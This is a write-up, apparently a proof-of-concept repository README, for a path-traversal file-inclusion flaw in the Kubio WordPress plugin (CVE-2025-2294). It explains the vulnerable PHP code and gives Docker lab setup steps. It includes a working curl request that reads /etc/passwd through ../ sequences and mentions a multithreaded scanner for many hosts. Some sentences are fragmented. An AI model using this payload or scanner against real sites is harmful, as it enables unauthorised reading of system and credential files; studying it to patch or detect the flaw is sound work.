
CVE-2025-2294 is a critical Local File Inclusion (LFI) vulnerability in the Kubio AI Page Builder plugin for WordPress. The vulnerability allows an unauthenticated remote attacker to pass a specially crafted parameter, causing the plugin to include an arbitrary file on the server; if a PHP file is included, this can lead to remote code execution (RCE).
kubio/wp-content/plugins/kubio/cpe:2.3:a:extendthemes:kubio_ai_page_builder::::::wordpress::*CWE: CWE-22 — Improper Limitation of a Pathname to a Restricted Directory (Path Traversal).
__kubio-site-edit-iframe-classic-template is available.wp-config.php, private keys, logs).The vulnerable code is related to the function kubio_hybrid_theme_load_template(), which accesses the global $_REQUEST array:
$template_id = Arr::get($_REQUEST, '__kubio-site-edit-iframe-classic-template', false);
if ($template_id) {
$new_template = locate_template([$template_id]);
if ($new_template !== '') {
return $new_template;
}
}
Arr::get($_REQUEST, '__kubio-site-edit-iframe-classic-template', false) — takes the value directly from the global input set ($_REQUEST combines $_GET, $_POST, $_COOKIE). This means the parameter is remotely controllable.
If the parameter is present ($template_id is truthy), the code calls locate_template([$template_id]).
locate_template() — a WordPress utility (or an equivalent in the plugin) to search for templates by the passed relative path/name. Under normal circumstances, it was expected to pass file names inside a safe template directory, e.g., header.php or template-parts/content.php.
The return value ($new_template) is then used — in the original implementation, this can lead to include/require of the found path, or passing that path further for output. This creates an LFI opportunity: the attacker can specify an arbitrary file path.
git clone https://github.com/iteride/CVE-2025-2294.git && cd CVE-2025-2294/ && docker-compose up -d
docker exec -it <WORDPRESS_DOCKER_ID> bash
After unpacking, go to http://localhost:8080/wp-admin/plugins.php and activate the plugin
cd /var/www/html/wp-content/plugins
curl -L -o kubio-2.5.1.zip "https://downloads.wordpress.org/plugin/kubio.2.5.1.zip"
unzip kubio-2.5.1.zip
rm kubio-2.5.1.zip
chown -R www-data:www-data kubio
curl 'http://localhost:8080/?__kubio-site-edit-iframe-preview=1&__kubio-site-edit-iframe-classic-template=../../../../../../../../../etc/passwd'

__kubio-site-edit-iframe-classic-template=<path>
This parameter passes a string that the plugin uses as a template identifier/path.
In the vulnerable code snippet, the value is taken from $_REQUEST and passed to locate_template() without prior normalization or restriction. As a result, a path traversal is possible: if the value includes ../ sequences, the resulting path can exit the expected template directory and point to any file on the filesystem (including /etc/passwd).
This parameter carries the attack payload — with its help the attacker specifies the target file.
__kubio-site-edit-iframe-preview=1
This is a service flag (preview / iframe-edit mode). It switches the request processing to the code branch where the template set in __kubio-site-edit-iframe-classic-template is read and used.
Without preview=1, the plugin might not process the classic-template parameter or use different logic; with preview=1, the logic that allows reading and returning the template is enabled, making exploitation possible.
/wp-content/plugins/kubio/readme.txt.

The script checks the output of /etc/passwd but is much faster than nuclei due to multithreading, and also supports scanning multiple hosts at once
python3 scan.py --target http://localhost:8080
